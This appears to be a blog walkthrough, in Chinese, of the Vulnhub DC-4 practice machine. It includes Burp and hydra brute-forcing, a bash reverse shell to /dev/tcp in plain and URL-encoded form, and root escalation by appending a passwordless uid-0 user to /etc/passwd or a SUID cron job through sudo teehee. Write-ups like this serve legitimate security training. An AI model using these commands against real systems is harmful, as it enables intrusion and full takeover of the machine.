zoukankan      html  css  js  c++  java
  • 【Vulnhub】 DC-4 靶机

    Vulnhub DC-4

    一、环境搭建

    下载链接:https://www.vulnhub.com/entry/dc-4,313/

    解压后用VMware打开,导入虚拟机

    网卡配置看个人习惯,我喜欢NAT

    二、信息搜集

    1.arp-scan 扫出ip

    arp-scan 192.168.124.0/24
    

    image-20201003164456757

    2.Nmap 扫描端口

    扫描全端口,怕漏掉信息

    nmap -sV -p 1-65535 -T4 -A
    

    image-20201003164753121

    只开了22和80,留意一下系统版本 提权可能会有用

    3.扫web目录

    
    

    三、漏洞发现

    打开页面发现是一个需要登陆的地方,丢到bp爆破一下

    image-20201003165040083

    image-20201003165023246

    成功爆出 账号:admin 密码:happy

    漏洞利用

    登陆后发下如下图一个可以执行命令的地方

    image-20201003165542543

    比如第一个执行的是ls -l ,利用bp抓包发现可以执行任意命令

    image-20201003165637676

    细思恐极...直接弹shell试试

    echo "bash -i >& /dev/tcp/192.168.124.141/22222 0>&1" | bash
    

    这里注意提交的命令需要URL编码,不然不会被正确解析

    %62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%2f%32%32%32%32%32%20%30%3e%26%31
    

    image-20201003203713139

    看了看passwd文件发现有几个普通账户

    image-20201003203811117

    既然还有22端口开着,那就先拿这几个用户入手。这里对jim下手

    发现/home/jim/backups目录下有old-passwords.bak看着像备份密码的文件(果不其然,又要爆破)

    image-20201003203949957

    hydra爆破22端口

    hydra -l jim -P /usr/local/DC-4/jim-passwords.txt -vV -o /usr/local/DC-4/ssh-result.txt 192.168.124.160 ssh
    
    -vV :显示详细输出过程
    -o  :将结果输出到指定文件
    

    image-20201003204829005

    ssh登录 账户: jim 密码: jibril04

    image-20201003205214398

    提权

    将提权版本放到exp库中搜索,无果。

    image-20201003211057285

    SUID提权

    尝试了一下sudo -l ,无果。

    image-20201003211130622

    搜索具备suid属性的文件

     find / -perm -u=s -type f 2>/dev/null
    

    image-20201003211208005

    发现没有熟悉的find命令(难过ing)但是发现了有个奇怪的test.sh

    看看这个文件是做什么的

    image-20201003211354566

    是一个jim用户创建的可以执行命令的文件,查询得知这个文件执行命令依然是用jim用户的权限而不是root所以也不能提权。

    查询jim用户可以写的文件

    find / -writable -type f 2>/dev/null | grep -v "/proc/"
    

    image-20201003211713503

    发现有个邮件,看看是啥

    发现了charles用户给jim用户他的密码....

    image-20201003211835462

    ssh一下,发现该用户可以利用sudo无密码使用teehee且是root权限

    image-20201003212128061

    image-20201003212255747

    发现此命令通过 -a 参数向别的文件写入内容

    image-20201003212511651

    查询得知有两种思路

    1. 修改passwd文件,添加一个root权限的用户
    2. 写入定时任务,开启一个root权限的shell环境

    修改passwd文件

    sudo teehee -a "Zh1z3ven::0:0:::/bin/bash" > /etc/passwd
    
    charles@dc-4:/usr/bin$ echo "Zh1z3ven::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
    Zh1z3ven::0:0:::/bin/bash
    charles@dc-4:/usr/bin$ su Zh1z3ven
    root@dc-4:/usr/bin# id
    uid=0(root) gid=0(root) groups=0(root)
    root@dc-4:/usr/bin#
    

    写入定时任务

    向/etc/crontab写入一个定时任务创建一个4777属性的/bin/sh

    4代表SUID权限

    SUID:即为当文件(或命令,但linux一切皆文件~)具有SUID属性时,执行该文件的用户会临时拥有文件拥有者的权限。所以当时test.sh不可以提权,因为文件是jim的。

    写入定时任务

    echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
    

    已具有suid属性的/bin/sh

    image-20201003214742257

    image-20201003214829042

  • 相关阅读:
    SQLServer DBA 三十问
    sql server中的日期详解使用(convert)
    【转】对于表列数据类型选择的一点思考
    OLTP与OLAP
    Linux文件目录介绍及文件颜色区别
    [转贴]提问的智慧
    sql server作业管理查看/进程管理查看命令
    T-SQL中的十大注意事项
    正则表达式30分钟入门教程
    SQL中on条件与where条件的区别
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/13837092.html
Copyright © 2011-2022 走看看